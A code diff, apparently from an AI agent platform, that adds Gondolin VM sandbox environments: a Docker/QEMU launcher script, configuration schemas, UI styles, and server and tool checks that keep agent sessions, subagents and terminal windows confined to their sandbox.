# Gondolin and its dependencies, from package-lock.json into this version's directory, once.
install_gondolin() {
if [ ! -f "$D/.installed" ]; then
lock
if [ ! -f "$D/.installed" ]; then
echo "p2-sandbox: installing Gondolin in $D" >&2
"$@" sh -c 'cd "$1" && npm ci --ignore-scripts --no-audit --no-fund >&2' sh "$D"
touch "$D/.installed"
fi
unlock
fi
}
case "$(runtime)" in
native)
install_gondolin
exec node "$D/p2-sandbox.mjs" "$@"
;;
docker)
# Named by the Dockerfile only (Node and QEMU), not by the launcher version: launcher versions of several p2
# installations share the container and run their own files from their directories in the shared home.
tag=$(sha256sum "$D/Dockerfile" | cut -c1-16)
image="p2-sandbox:$tag"
container="p2-sandbox-$(id -u)-$tag"
if [ "$(docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null || true)" != true ]; then
lock
if [ "$(docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null || true)" != true ]; then
if ! docker image inspect "$image" >/dev/null 2>&1; then
echo "p2-sandbox: building the Docker image $image (first time only)" >&2
docker build -q -t "$image" - <"$D/Dockerfile" >&2
fi
docker rm -f "$container" >/dev/null 2>&1 || true
docker run -d --name "$container" --restart unless-stopped --init \
--device /dev/kvm --group-add "$(stat -c %g /dev/kvm)" \
--user "$(id -u):$(id -g)" -e HOME="$HOME" -v "$HOME:$HOME" \
"$image" sleep infinity >/dev/null
fi
unlock
fi
install_gondolin docker exec -i "$container"
exec docker exec -i -e P2_SANDBOX_RUNTIME=docker "$container" node "$D/p2-sandbox.mjs" "$@"
;;
*)
echo "p2-sandbox: this host cannot run sandboxes (needs Linux with /dev/kvm, and Node >= 22 with QEMU >= 7.2 or Docker)" >&2
exit 3
;;
esac

View file

@ -1,9 +1,11 @@
import { bool, int, obj, opt, type Static, str } from "@earendil-works/pi-schema";
import { arr, bool, int, obj, opt, type Static, str, union } from "@earendil-works/pi-schema";
import { literal, record } from "@p2/app/v1";
/** Browser-safe configuration shape. No credentials are kept in envs.json. */
export const ENV_NAME = /^[a-z0-9][a-z0-9_-]{0,31}$/;
export const EnvConfigSchema = obj({
/** A machine reached over SSH. */
export const SshEnvConfigSchema = obj({
type: literal("ssh"),
host: str({ minLength: 1, maxLength: 255 }),
user: opt(str({ minLength: 1, maxLength: 255 })),
@ -13,5 +15,36 @@ export const EnvConfigSchema = obj({
loginShell: opt(bool()),
shellEnv: opt(record(str())),
});
/** A folder of the host shared with a sandbox at `guest`; `host` is absolute or starts with `~` (the host user's home). */
export const SandboxMountSchema = obj({
host: str({ minLength: 1, maxLength: 4096 }),
guest: str({ minLength: 2, maxLength: 4096 }),
readonly: opt(bool()),
});
/**
* A Gondolin sandbox: a VM on the SSH environment `host`. It sees only its folders and reaches only its allowed hosts
* over HTTP(S); conversations working in it cannot leave it.
*/
export const GondolinEnvConfigSchema = obj({
type: literal("gondolin"),
host: str({ minLength: 1, maxLength: 32 }),
image: opt(str({ minLength: 1, maxLength: 255 })),
mounts: opt(arr(SandboxMountSchema, { maxItems: 16 })),
allowHosts: opt(arr(str({ minLength: 1, maxLength: 255 }), { maxItems: 256 })),
cpus: opt(int({ minimum: 1, maximum: 64 })),
memoryMb: opt(int({ minimum: 256, maximum: 262144 })),
});
export const EnvConfigSchema = union([SshEnvConfigSchema, GondolinEnvConfigSchema]);
export type SshEnvConfig = Static<typeof SshEnvConfigSchema>;
export type GondolinEnvConfig = Static<typeof GondolinEnvConfigSchema>;
export type SandboxMount = Static<typeof SandboxMountSchema>;
export type EnvConfig = Static<typeof EnvConfigSchema>;
export type EnvsConfig = Record<string, EnvConfig>;
/** Whether `name` is a sandbox, decided by its configuration's type (never its name). */
export function isSandbox(envs: EnvsConfig, name: string): boolean {
return Object.hasOwn(envs, name) && envs[name]?.type === "gondolin";
}

View file

@ -1,3 +1,4 @@
import { pluginFile } from "@earendil-works/chord/plugins";
import { nul, num, obj, str, union } from "@earendil-works/pi-schema";
import {
contribute,
@ -16,7 +17,7 @@ import { Hosts, Server } from "@p2/app/v1/server";
import { Catalog, type Session } from "../sessions/contract.ts";
import { StatusStore } from "../status/contract.ts";
import { type Child, ChildStore } from "../subagents/contract.ts";
import { envRevision } from "./config.ts";
import { envRevision, sandboxesOn } from "./config.ts";
import { EnvManagers, EnvService, Envs, EnvTestSchema } from "./contract.ts";
import { EnvManager } from "./manager.ts";
import { EnvStore } from "./store.ts";
@ -74,7 +75,9 @@ export default defineFacet((host) => {
const edited = Object.keys({ ...previous, ...revisions }).filter(
(name) => previous[name] !== revisions[name],
);
for (const name of edited)
// A host's edit reaches its sandboxes too: their connections go through it.
const affected = new Set(edited.flatMap((name) => [name, ...sandboxesOn(configs, name).map(([on]) => on)]));
for (const name of affected)
for (const session of sessionsUsing(name, sessions, children))
if (workers[session.id]?.running) draft.pending[session.id] = workers[session.id]!.generation;
}, ctx);
@ -108,6 +111,7 @@ export default defineFacet((host) => {
new EnvManager(
server.info.value.dataDir,
async (name) => sessionsUsing(name, catalog.sessions.value, children.children.value).length,
pluginFile("sandbox"),
),
(opened) => opened.close(),
);
@ -204,6 +208,9 @@ export default defineFacet((host) => {
publicKey: async ({ name }) => (await manager().manager.publicKey(name)) ?? null,
listDirectory: ({ env, path }) =>
env ? manager().manager.listDirectory(env, path) : listLocalDirectory(path),
sandboxStatus: ({ name }) => manager().manager.sandboxStatus(name),
sandboxStart: ({ name }) => manager().manager.sandboxStart(name),
sandboxStop: ({ name }) => manager().manager.sandboxStop(name),
},
};
});

View file

@ -0,0 +1,42 @@
/* Sandboxes (Gondolin VMs on an SSH environment): list rows, VM state, folders. */
.env-sandbox {
padding-left: calc(var(--x) + var(--s5));
}
.vm-dot {
display: inline-block;
width: 7px;
height: 7px;
margin-right: var(--s1);
border-radius: 50%;
background: var(--faint);
vertical-align: middle;
}
.vm-dot.running {
background: var(--ok);
}
.vm-dot.unknown {
border: 1px solid var(--faint);
background: transparent;
}
.sandbox-intro {
margin-bottom: var(--s3);
}
.sandbox-status {
margin-bottom: var(--s3);
}
.sandbox-folders {
gap: var(--s2);
}
.sandbox-folder {
display: flex;
align-items: center;
gap: var(--s3);
}
.sandbox-folder > span:first-child {
flex: 1;
min-width: 0;
overflow-wrap: anywhere;
}
.directory-leave {
margin-top: var(--s3);
}

View file

@ -91,7 +91,7 @@ function openEnvs(ctx: TuiContext): void {
const accept = async (env: EnvSummary) => {
const service = owner();
const key = env.test && !env.test.ok ? env.test.hostKey : undefined;
if (!service || service.variant !== "owner" || !key) return;
if (!service || service.variant !== "owner" || !key || env.config.type !== "ssh") return;
const yes = await confirm(ctx, [
`Trust ${env.name}'s host key?`,
`${lineText(env.config.user ? `${env.config.user}@` : "")}${lineText(env.config.host)}${env.config.port ? `:${env.config.port}` : ""} · ${key.state === "changed" ? "the key CHANGED since it was trusted" : "unknown key"}`,
@ -119,7 +119,11 @@ function openEnvs(ctx: TuiContext): void {
},
...envs.map((env) => ({
key: env.name,
label: `${mark(env.name)}${env.name} ${env.config.user ? `${env.config.user}@` : ""}${env.config.host}`,
label: `${mark(env.name)}${env.name} ${
env.config.type === "gondolin"
? `sandbox on ${env.config.host}`
: `${env.config.user ? `${env.config.user}@` : ""}${env.config.host}`
}`,
detail: `${current?.env === env.name ? "this session · " : ""}${detail(env)} · ${env.sessions} session${env.sessions === 1 ? "" : "s"}`,
...(env.test && !env.test.ok
? { description: env.test.error, color: "error" as const }

View file

@ -1,6 +1,7 @@
import { contribute, defineFacet } from "@p2/app/v1";
import { closeLayers, openLayer, Slots, useOwner, useSheet } from "@p2/app/v1/web";
import { EnvsPanel } from "./EnvsPanel.tsx";
import "./style.css";
function EnvsButton() {
const sheet = useSheet("envs");

View file

@ -1,11 +1,22 @@
import { pluginFile } from "@earendil-works/chord/plugins";
import { contribute, defineFacet } from "@p2/app/v1";
import { HarnessEnvironments, workerOf } from "@p2/app/v1/worker";
import { loadEnvs } from "./config.ts";
import { isSandbox, loadEnvs } from "./config.ts";
import { remoteSession } from "./remote-env.ts";
import { EnvStore } from "./store.ts";
export default defineFacet((host) => {
contribute(host, "p2.worker-envs", (self) => {
const worker = workerOf(self);
const launcher = pluginFile("sandbox");
const store = self.open(
async () => {
const opened = new EnvStore(worker().init.dataDir);
await opened.observer.start();
return opened;
},
(opened) => opened.observer.close(),
);
self.contribute(HarnessEnvironments, {
remote: {
open: async (env) => {
@ -14,13 +25,19 @@ export default defineFacet((host) => {
const config = Object.hasOwn(configs, env) ? configs[env] : undefined;
if (!config) throw new Error(`Environment "${env}" is not configured; refusing local execution`);
// One connection for every conversation working on this environment, at its directories.
const remote = remoteSession(dataDir, env, config, "/");
const remote = remoteSession(dataDir, env, config, "/", { launcher });
return { at: remote.at, close: () => remote.connection.close() };
},
host: async (env) => {
describe: async (env) => {
const configs = await loadEnvs(worker().init.dataDir);
return Object.hasOwn(configs, env) ? configs[env]?.host : undefined;
const config = Object.hasOwn(configs, env) ? configs[env] : undefined;
if (config?.type === "ssh") return `the remote environment "${env}" (SSH host ${config.host})`;
if (config?.type === "gondolin")
return `the sandbox "${env}" (a VM on the environment "${config.host}"; you cannot leave it, and only its own folders and allowed hosts are reachable)`;
return undefined;
},
// The observed envs.json: a sandbox stays one while its configuration is valid (the last valid state).
sandbox: (env) => isSandbox(store.value.snapshot.configs, env),
},
});
});

View file

@ -7,6 +7,8 @@ import { DirectoryListingSchema, literal, method, remote, serverHost } from "@p2
/** One environment as an agent sees it: never keys or identity files. */
export const EnvInfoSchema = obj({
name: str(),
/** `gondolin`: a sandbox, `host` naming the SSH environment it runs on; conversations working there cannot leave it. */
type: union([literal("ssh"), literal("gondolin")]),
host: str(),
user: opt(str()),
port: opt(num()),
@ -27,7 +29,7 @@ export const AgentLocations = remote("p2.agent-locations", {
variants: {
worker: {
methods: {
/** The configured SSH environments (this device is always available besides them). */
/** The configured SSH environments and sandboxes (this device is always available besides them). */
envs: method(obj({ origin: Owner }), obj({ envs: arr(EnvInfoSchema) })),
/** Folders of `path` (absolute or `~`-relative) on `env` (null: this device), as the directory picker lists them. */
directories: method(
@ -40,7 +42,7 @@ export const AgentLocations = remote("p2.agent-locations", {
),
/**
* Moves the worker's session (`SessionMoves.relocate`); `refused` is why its busy worker could not be fenced
* (nothing moved).
* (nothing moved). A session working in a sandbox only moves within it (only the owner's Relocate leaves it).
*/
move: method(
obj({

View file

@ -2,7 +2,8 @@ import { defineFacet, forbidden, isWorker, nativeOf } from "@p2/app/v1";
import { envRevision, listLocalDirectory } from "@p2/app/v1/node";
import { Hosts } from "@p2/app/v1/server";
import { EnvManagers, EnvService } from "../envs/contract.ts";
import { SessionMoves } from "../sessions/contract.ts";
import { isSandbox } from "../envs/schema.ts";
import { Catalog, SessionMoves } from "../sessions/contract.ts";
import { AgentLocations, type EnvInfo } from "./contract.ts";
export default defineFacet((host) => {
@ -14,6 +15,7 @@ export default defineFacet((host) => {
const envs = self.get(EnvService, {});
const managers = nativeOf(self, EnvManagers, "The SSH manager");
const moves = self.get(SessionMoves, {});
const catalog = self.get(Catalog, {});
const current = () => {
const worker = hosts.workers.value[session];
if (!worker?.running || worker.generation !== generation) throw forbidden("stale worker");
@ -31,9 +33,10 @@ export default defineFacet((host) => {
const last = tests[name]?.revision === envRevision(config) ? tests[name]?.test : undefined;
return {
name,
type: config.type,
host: config.host,
...(config.user === undefined ? {} : { user: config.user }),
...(config.port === undefined ? {} : { port: config.port }),
...(config.type !== "ssh" || config.user === undefined ? {} : { user: config.user }),
...(config.type !== "ssh" || config.port === undefined ? {} : { port: config.port }),
...(last === undefined
? {}
: {
@ -51,6 +54,10 @@ export default defineFacet((host) => {
},
move: async ({ env, cwd }, ctx) => {
current();
// The location tools refuse this already; the server keeps a sandboxed session in its sandbox too.
const from = catalog.sessions.value.find((entry) => entry.id === session)?.env;
if (from && from !== env && isSandbox(envs.configs.value, from))
throw forbidden(`this session works in sandbox ${from} and cannot leave it`);
return moves.relocate({ id: session, env, cwd }, ctx);
},
},

View file

@ -29,15 +29,25 @@ export type LocationTools = {
readonly locate: (id: ConversationId, read: DocumentReader, context: Context) => Promise<Location>;
};
/**
* The sandbox a conversation working at `here` is confined to, decided by its environment's configured type: it may
* move within the sandbox, never out of it (only the owner's Relocate leaves it).
*/
export const sandboxAt = (here: Location, envs: readonly EnvInfo[]): string | undefined =>
here.env !== null && envs.some((env) => env.name === here.env && env.type === "gondolin") ? here.env : undefined;
const describeEnv = (env: EnvInfo, here: Location): string => {
const target = `${env.user ? `${env.user}@` : ""}${env.host}${env.port ? `:${env.port}` : ""}`;
const target =
env.type === "gondolin"
? `sandbox (a VM on ${env.host})`
: `ssh ${env.user ? `${env.user}@` : ""}${env.host}${env.port ? `:${env.port}` : ""}`;
const tested =
env.tested === undefined
? "not tested"
: env.tested.ok
? `tested ok (${env.tested.platform} ${env.tested.arch})`
: `last test failed: ${env.tested.error}`;
return `- ${env.name}: ssh ${target} · ${tested}${here.env === env.name ? " · you are here" : ""}`;
return `- ${env.name}: ${target} · ${tested}${here.env === env.name ? " · you are here" : ""}`;
};
export function createLocationExtension({ server, locate }: LocationTools) {
@ -47,7 +57,9 @@ export function createLocationExtension({ server, locate }: LocationTools) {
here: Location,
context: Context,
): Promise<{ listing: DirectoryListing; env: string | null } | string> => {
const names = (await server.envs(context)).map((env) => env.name);
const envs = await server.envs(context);
const names = envs.map((env) => env.name);
const sandbox = sandboxAt(here, envs);
const parsed =
args.location !== undefined
? parseLocation(args.location, names, here)
@ -56,6 +68,8 @@ export function createLocationExtension({ server, locate }: LocationTools) {
...(args.env === undefined || args.env === here.env ? { cwd: here.cwd } : {}),
});
if ("error" in parsed) return parsed.error;
if (sandbox !== undefined && parsed.env !== sandbox)
return `You work in sandbox ${sandbox} and cannot leave it; use paths inside ${sandbox}.`;
if (parsed.env !== null && !names.includes(parsed.env))
return `Unknown environment "${parsed.env}" (location_envs lists them).`;
try {
@ -86,7 +100,7 @@ export function createLocationExtension({ server, locate }: LocationTools) {
defineP2Tool({
name: "location_envs",
description:
"List the environments you can work on: this device and the configured SSH environments (host, last test). Shows where you work now.",
"List the environments you can work on: this device, the configured SSH environments (host, last test) and sandboxes. Shows where you work now.",
parameters: obj({}, { open: true }),
replay: "safe",
origin: "owner",
@ -98,6 +112,15 @@ export function createLocationExtension({ server, locate }: LocationTools) {
});
const here = await locate(api.conversationId, api, context);
const envs = await server.envs(context);
const sandbox = sandboxAt(here, envs);
if (sandbox !== undefined)
return reply(
[
`You work at ${locationText(here)}, in sandbox ${sandbox}: a VM whose tools reach only its own files and allowed hosts.`,
"You cannot leave it; location_dirs and location_move take paths inside it.",
...envs.filter((env) => env.name === sandbox).map((env) => describeEnv(env, here)),
].join("\n"),
);
// The session's move is kept on conversation 1 whichever top-level conversation asked for it.
const move = (await isTopLevel(api, api.conversationId, context))
? await api.snapshot(LocationMoveDoc, ROOT_CONVERSATION_ID, context)

View file

@ -3,7 +3,6 @@
// (pi-env); the daemon killed the programs it ran, and their instances reconnect.
import type { Connection } from "@earendil-works/pi-env";
import { envRevision } from "@p2/app/v1/node";
import type { EnvConfig } from "../envs/config.ts";
/** A connection to environment `name` configured as `config`, which starts at its first request. */
@ -21,9 +20,12 @@ export class EnvConnections {
this.#connect = connect;
}
/** The connection to `name` as configured now (opened for its first user); release it once done. */
acquire(name: string, config: EnvConfig): EnvLease {
const key = JSON.stringify([name, envRevision(config)]);
/**
* The connection to `name` as configured now (`revision`: its connection revision; opened for its first user);
* release it once done.
*/
acquire(name: string, config: EnvConfig, revision: string): EnvLease {
const key = JSON.stringify([name, revision]);
let entry = this.#open.get(key);
if (entry === undefined) {
entry = { connection: this.#connect(name, config), users: 0 };

View file

@ -8,8 +8,8 @@ import { join, resolve } from "node:path";
import { pathToFileURL } from "node:url";
import type { McpStdioServerConfig } from "@earendil-works/pi-mcp";
import { type Location, locationText } from "@p2/app/v1";
import { envRevision } from "@p2/app/v1/node";
import type { EnvConfig } from "../envs/config.ts";
import { connectionRevision } from "../envs/connection-revision.ts";
import type { OwnerConfig, OwnerServer } from "./config.ts";
import type { RunsOn } from "./contract.ts";
import type { Lease } from "./leases.ts";
@ -22,6 +22,8 @@ export type RemoteConnect = {
/** The environment's name in envs.json, and its configuration there. */
readonly environment: string;
readonly config: EnvConfig;
/** The connection's revision: the configuration's, a sandbox's with its host's (`connectionRevision`). */
readonly revision: string;
readonly command: string;
readonly args: readonly string[];
readonly env: Readonly<Record<string, string>>;
@ -227,10 +229,11 @@ function stdioSpec(
};
}
const envConfig = Object.hasOwn(envs, runsOn.env) ? envs[runsOn.env] : undefined;
// An edited environment is another connection: its instances start again on it.
const key = ["stdio", source, server, owner, runsOn, envConfig === undefined ? null : envRevision(envConfig), hash];
// An edited environment (or a sandbox's edited host) is another connection: its instances start again on it.
const revision = envConfig === undefined ? null : connectionRevision(envs, envConfig);
const key = ["stdio", source, server, owner, runsOn, revision, hash];
const spec = { id: idOf(key), server, source, location, runsOn, timeoutMs };
if (envConfig === undefined)
if (envConfig === undefined || revision === null)
return { ...spec, connect: { kind: "unplaced", reason: `environment "${runsOn.env}" is not in envs.json` } };
return {
...spec,
@ -238,6 +241,7 @@ function stdioSpec(
kind: "remote",
environment: runsOn.env,
config: envConfig,
revision,
command,
args,
env,

View file

@ -37,7 +37,7 @@ export type AuthProviders = (server: OAuthServer) => AuthProvider;
export function transportsFor(connect: Connect, envs: EnvConnections, auth: AuthProviders): Transports {
switch (connect.kind) {
case "remote": {
const lease = envs.acquire(connect.environment, connect.config);
const lease = envs.acquire(connect.environment, connect.config, connect.revision);
return { open: () => remoteTransport(connect, lease.connection), release: () => lease.release() };
}
case "host":

View file

@ -28,6 +28,7 @@ import {
useSheet,
} from "@p2/app/v1/web";
import { useCallback, useEffect, useMemo, useRef, useState, useSyncExternalStore } from "react";
import { Envs } from "../envs/contract.ts";
import { directoryPickerLayer } from "../envs/contract.web.tsx";
import { Search, SessionReads } from "../search/contract.ts";
import { SessionStatus } from "../status/contract.ts";
@ -199,6 +200,12 @@ function Sidebar() {
if (shown && marks && latest > read)
void marks.markRead({ session: shown, through: latest }, BACKGROUND_CONTEXT).catch(() => {});
}, [marks, shown, latest, read]);
// Sandboxed groups show a lock; only the owner reads environments.
const envs = useReadable(useObject(Envs, owner ? {} : undefined)?.envs);
const sandboxes = useMemo(
() => new Set((envs ?? []).flatMap((env) => (env.config.type === "gondolin" ? [env.name] : []))),
[envs],
);
const search = liveIn(useObject(Search, owner ? {} : undefined), "owner");
// A rebuild shows as running at once; it is long work (a job), so the sheet shows it running until it is done.
const [rebuilds, reindex] = useOptimisticCall(
@ -293,6 +300,7 @@ function Sidebar() {
<Drawer
sessions={sessions}
guest={guest}
sandboxes={sandboxes}
activeId={route.session}
conversationId={route.conversation}
connected={connected}

View file

@ -207,6 +207,20 @@ const everyTool = (caller: CallerTools): ToolRegistration[] => [
/** Where a tool works, as its plugin declared it. */
const scopeOf = (tool: ToolRegistration, access: ReadonlyMap<string, P2Tool>) => access.get(tool.name)?.scope ?? "any";
/**
* The own location a one-shot agent inherited from the conversation whose script started it (a subagent with its own
* location, or another one-shot agent of one); absent: it follows the session like its caller.
*/
export const InheritedLocation = defineDoc<{ location?: Location }>({
kind: "p2.inherited-location",
version: 1,
scope: "conversation",
history: "latest",
fork: "initial",
initial: () => ({}),
checkpointWhen: () => true,
});
/**
* Gives the subagent working in `conversationId` its own location `location` (a granted `location_move`), in `tx`:
* its registry entry and its agent cwd. False when the conversation is not a subagent (one-shot agents are not).

View file

@ -31,6 +31,7 @@ import { answerOrigin, defineP2Tool, mainConversation, originOf, type P2Tool } f
import { AGENT_MESSAGE_ENTRY, type AgentMessage, SUBAGENT_TASK_ENTRY, SubagentLocationsSchema } from "./contract.ts";
import {
CODEMODE_TOOL,
InheritedLocation,
resolveChoice,
resolveTools,
Subagents,
@ -285,7 +286,10 @@ export function spawnEnvironments(
};
}
/** A conversation's own location (a subagent spawned with a cwd), or undefined: it follows the session. */
/**
* A conversation's own location (a subagent spawned with a cwd, or a one-shot agent started by a conversation with
* one), or undefined: it follows the session.
*/
export async function ownLocation(
read: DocumentReader,
conversationId: ConversationId,
@ -293,7 +297,8 @@ export async function ownLocation(
): Promise<Location | undefined> {
if (conversationId === ROOT_CONVERSATION_ID) return undefined;
const registry = await read.snapshot(Subagents, ROOT_CONVERSATION_ID, context);
return Object.values(registry?.agents ?? {}).find((agent) => agent.conversationId === conversationId)?.location;
const own = Object.values(registry?.agents ?? {}).find((agent) => agent.conversationId === conversationId)?.location;
return own ?? (await read.snapshot(InheritedLocation, conversationId, context))?.location;
}
/** Where the conversation calling a tool works (the session's, or its own), for a spawned subagent's own location. */
@ -302,6 +307,8 @@ export type Locate = (conversationId: ConversationId, read: DocumentReader, cont
/** What the subagent tool needs to place subagents: locating conversations and resolving directories. */
export type SubagentLocator = {
readonly locate: Locate;
/** The sandbox a conversation working at `location` is confined to (its environment's configured type), if any. */
readonly sandbox: (location: Location) => Promise<string | undefined>;
/** `target` as an existing directory's location, relative to `from` (see `resolveDirectory`), or why not. */
readonly directory: (
target: LocationInput,
@ -321,6 +328,10 @@ export async function placeTarget(
context: Context,
): Promise<Location | string> {
const env = args.env === undefined ? caller.env : args.env;
// A caller in a sandbox places its subagents in the same sandbox only.
const sandbox = await locator.sandbox(caller);
if (sandbox !== undefined && env !== sandbox)
return `You work in sandbox ${sandbox}; your subagents can only work inside it.`;
const resolved = await locator.directory({ env, path: args.cwd ?? "" }, caller, context);
if (!("error" in resolved)) return resolved;
const where = `${env === caller.env ? "" : `${env ?? "local"}:`}${args.cwd ?? "~"}`;
@ -525,10 +536,21 @@ export function createSubagentExtension(
const caller = await locator.locate(api.conversationId, api, context);
if (args.env !== undefined && args.env !== caller.env && origin !== "owner")
return reply("Another environment needs a turn the owner started.", {}, true);
const placed = await placeTarget(locator, caller, args, context);
// A subagent in a sandbox: a cwd alone means a path in that sandbox (it cannot be placed elsewhere).
const kept =
agent?.location && args.env === undefined ? await locator.sandbox(agent.location) : undefined;
const target = kept === undefined ? args : { ...args, env: kept };
const placed = await placeTarget(locator, caller, target, context);
if (typeof placed === "string") return reply(placed, {}, true);
location = placed;
}
// A subagent working in a sandbox stays there, whoever configures it (only the owner's Relocate leaves one).
const sandbox = agent?.location === undefined ? undefined : await locator.sandbox(agent.location);
if (sandbox !== undefined && location !== undefined) {
const next = location ?? (await locator.locate(ROOT_CONVERSATION_ID, api, context));
if (next.env !== sandbox)
return reply(`${name} works in sandbox ${sandbox} and cannot leave it.`, {}, true);
}
} else if (agent) {
// A send: what it was given that its caller can no longer give is taken away (the caller's tools changed).
const own = await api.agent(context);

View file

@ -125,6 +125,7 @@ export default defineFacet((host, self) => {
{
locate: (conversationId, read, context) => locateConversation(harnessValue, conversationId, context, read),
directory: (target, from, context) => resolveDirectory(harness().environments, target, from, context),
sandbox: (location) => harness().environments.sandbox(location.env),
},
access,
);

View file

@ -1,4 +1,5 @@
// The detached host reads the same validated SSH configurations as coding sessions.
// The detached host reads the same validated SSH and sandbox configurations as coding sessions.
// The server supplies the catalog's session.env; browsers cannot choose a machine.
export { envRevision, loadEnvs } from "../envs/config.ts";
export { sshOptions } from "../envs/remote-env.ts";
export { connectionRevision } from "../envs/connection-revision.ts";
export { envConnection, sandboxHost, sshOptions } from "../envs/remote-env.ts";

View file

@ -2,11 +2,11 @@ import { randomBytes } from "node:crypto";
import { readFile, rm } from "node:fs/promises";
import { createServer, type Socket } from "node:net";
import { fileURLToPath } from "node:url";
import { Connection, detectPlatform, openTerminal, type RemoteTerminal, sshConnection } from "@earendil-works/pi-env";
import { Connection, detectPlatform, openTerminal, type RemoteTerminal } from "@earendil-works/pi-env";
import { takeProcessLock } from "../../src/runtime/process-lock.ts";
import { localSystem, requireTerminalSupport, terminalDaemon } from "./daemon.ts";
import { terminalHostAddress, terminalHostVersion } from "./detached.ts";
import { envRevision, loadEnvs, sshOptions } from "./envs.ts";
import { connectionRevision, envConnection, loadEnvs, sandboxHost, sshOptions } from "./envs.ts";
import {
BLINK,
BOLD,
@ -81,6 +81,8 @@ try {
const address = await terminalHostAddress(directory);
// We hold the lock: a socket file left behind is a killed host's.
if (!address.startsWith("\0") && !address.startsWith("\\\\")) await rm(address, { force: true });
/** The envs plugin's sandbox launcher (this host is a separate program, not a facet: no `pluginFile`). */
const sandboxLauncher = fileURLToPath(new URL("../envs/sandbox/", import.meta.url));
const version = await terminalHostVersion(fileURLToPath(new URL("../../", import.meta.url)));
const ghostty = await Ghostty.load(await readFile(new URL("vendor/ghostty/ghostty-vt.wasm", import.meta.url)));
@ -198,16 +200,23 @@ async function connection(env: string | null): Promise<{ connection: Connection;
}
return { connection: await entry.connection, shellEnv: {} };
}
const config = (await loadEnvs(directory))[env];
const configs = await loadEnvs(directory);
const config = configs[env];
if (!config) throw new Error(`Unknown environment ${env}`);
const revision = envRevision(config);
const revision = connectionRevision(configs, config);
let entry = connections.get(env);
if (!entry || entry.revision !== revision) {
const target = sshOptions(directory, env, config);
const started = (async () => {
// A sandbox runs its host's daemon in its VM (both Linux on the host's architecture).
const target =
config.type === "ssh" ? sshOptions(directory, env, config) : await sandboxHost(directory, env, config.host);
const remote = await detectPlatform(target);
const binary = await terminalDaemon(remote.platform, remote.arch, false);
const daemon = sshConnection({ ...target, binary, onLog: (text) => log(`pi-env ${env}: ${text}`) }).connection;
const daemon = envConnection(directory, env, config, {
launcher: sandboxLauncher,
binary,
onLog: (text) => log(`pi-env ${env}: ${text}`),
}).connection;
try {
await requireTerminalSupport(daemon);
return daemon;
@ -224,7 +233,10 @@ async function connection(env: string | null): Promise<{ connection: Connection;
}
return {
connection: await entry.connection,
shellEnv: { ...(config.shellEnv ?? {}), ...(config.shellPath ? { SHELL: config.shellPath } : {}) },
shellEnv:
config.type === "ssh"
? { ...(config.shellEnv ?? {}), ...(config.shellPath ? { SHELL: config.shellPath } : {}) }
: {},
};
}

View file

@ -94,11 +94,17 @@ const ResultSchema = obj({
});
type Result = Static<typeof ResultSchema>;
/** The extension offering the `terminal` tool, reached as `reach` says. */
/** Where the calling conversation works, and the sandbox it is confined to, if any. */
export type TerminalCaller = (api: ToolExecutionApi, context: Context) => Promise<{ here: Location; sandbox?: string }>;
/**
* The extension offering the `terminal` tool, reached as `reach` says. A caller confined to a sandbox reaches only the
* session's terminals in that sandbox: the others run outside it.
*/
export function createTerminalExtension(
reach: TerminalReach,
backend: TerminalBackend,
locate: (api: ToolExecutionApi, context: Context) => Promise<Location>,
caller: TerminalCaller,
): Extension {
return defineExtension({
name: TERMINAL_EXTENSION,
@ -125,7 +131,7 @@ export function createTerminalExtension(
throw error;
}
try {
const { result, terminalId } = await run(command, backend, locate, api, context);
const { result, terminalId } = await run(command, backend, await caller(api, context), api, context);
return {
output: [{ type: "text", text: describe(result) }],
structuredOutput: result,
@ -154,24 +160,31 @@ function failure(text: string): ToolExecutionResult {
async function run(
command: TerminalCommand,
backend: TerminalBackend,
locate: (api: ToolExecutionApi, context: Context) => Promise<Location>,
{ here, sandbox }: { here: Location; sandbox?: string },
api: ToolExecutionApi,
context: Context,
): Promise<{ result: Result; terminalId?: string }> {
const key = String(api.taskId);
// Checked on reruns too (remembered terminals included): the conversation may have been moved into a sandbox since.
const reachable = <T extends { env: string | null }>(terminal: T): T => {
if (sandbox !== undefined && terminal.env !== sandbox)
throw new Error(`That window runs outside sandbox ${sandbox}, where you work; it is not yours to use.`);
return terminal;
};
const read = async (args: Parameters<TerminalBackend["read"]>[0]) => {
const value = await backend.read(args, context);
return { result: readResult(value), terminalId: value.terminal.id };
};
switch (command.command) {
case "new-window": {
const here = await locate(api, context);
const directory = command.directory;
const location =
directory === undefined
? here
: { env: here.env, cwd: isRooted(directory) ? directory : joinPath(here.cwd, directory) };
const opened = await backend.open(
// A rerun gets the window its first run opened, which may be outside a sandbox entered since.
const opened = reachable(
await backend.open(
{
key,
location,
@ -179,36 +192,41 @@ async function run(
...(command.shellCommand ? { command: command.shellCommand } : {}),
},
context,
),
);
const wait = waitOf(command, { kind: "quiet" }, DEFAULT_TIMEOUT_S);
return read({ target: opened.id, from: 0, ...(wait ? { wait } : {}) });
}
case "list-windows": {
const windows = await backend.list(context);
const windows = (await backend.list(context)).filter(
({ terminal }) => sandbox === undefined || terminal.env === sandbox,
);
return { result: { windows: windows.map(({ terminal, foreground }) => windowOf(terminal, foreground)) } };
}
case "send-keys": {
const start = await readStart(command.target, backend, api, context);
const start = await readStart(command.target, backend, reachable, api, context);
await backend.send({ key, target: start.id, keys: command.keys, literal: command.literal }, context);
const wait = waitOf(command, { kind: "quiet" }, SEND_TIMEOUT_S);
return read({ target: start.id, from: start.offset, ...(wait ? { wait } : {}) });
}
case "read": {
const start = await readStart(command.target, backend, api, context);
const start = await readStart(command.target, backend, reachable, api, context);
const wait = waitOf(command, { kind: "none" }, DEFAULT_TIMEOUT_S);
return read({ target: start.id, from: start.offset, ...(wait ? { wait } : {}) });
}
case "capture-pane": {
const { target, scrollback, escapes } = command;
const { scrollback, escapes } = command;
// Captured by the checked window's id: its number could be another window's by now.
const target = reachable((await backend.cursor(command.target, context)).terminal).id;
const { terminal, text } = await backend.capture({ target, scrollback, escapes }, context);
return { result: { ...stateOf(terminal), ...cut(text, 0) }, terminalId: terminal.id };
}
case "kill-window": {
// A rerun closes the window the first attempt found, never another that took its number since.
const known = await api.memo<{ id: string; window: number }>("window", context);
const target = known ?? (await backend.cursor(command.target, context)).terminal;
const known = await api.memo<{ id: string; window: number; env: string | null }>("window", context);
const target = reachable(known ?? (await backend.cursor(command.target, context)).terminal);
const window = "window" in target ? target.window : target.index;
await api.memo("window", { id: target.id, window }, context);
await api.memo("window", { id: target.id, window, env: target.env }, context);
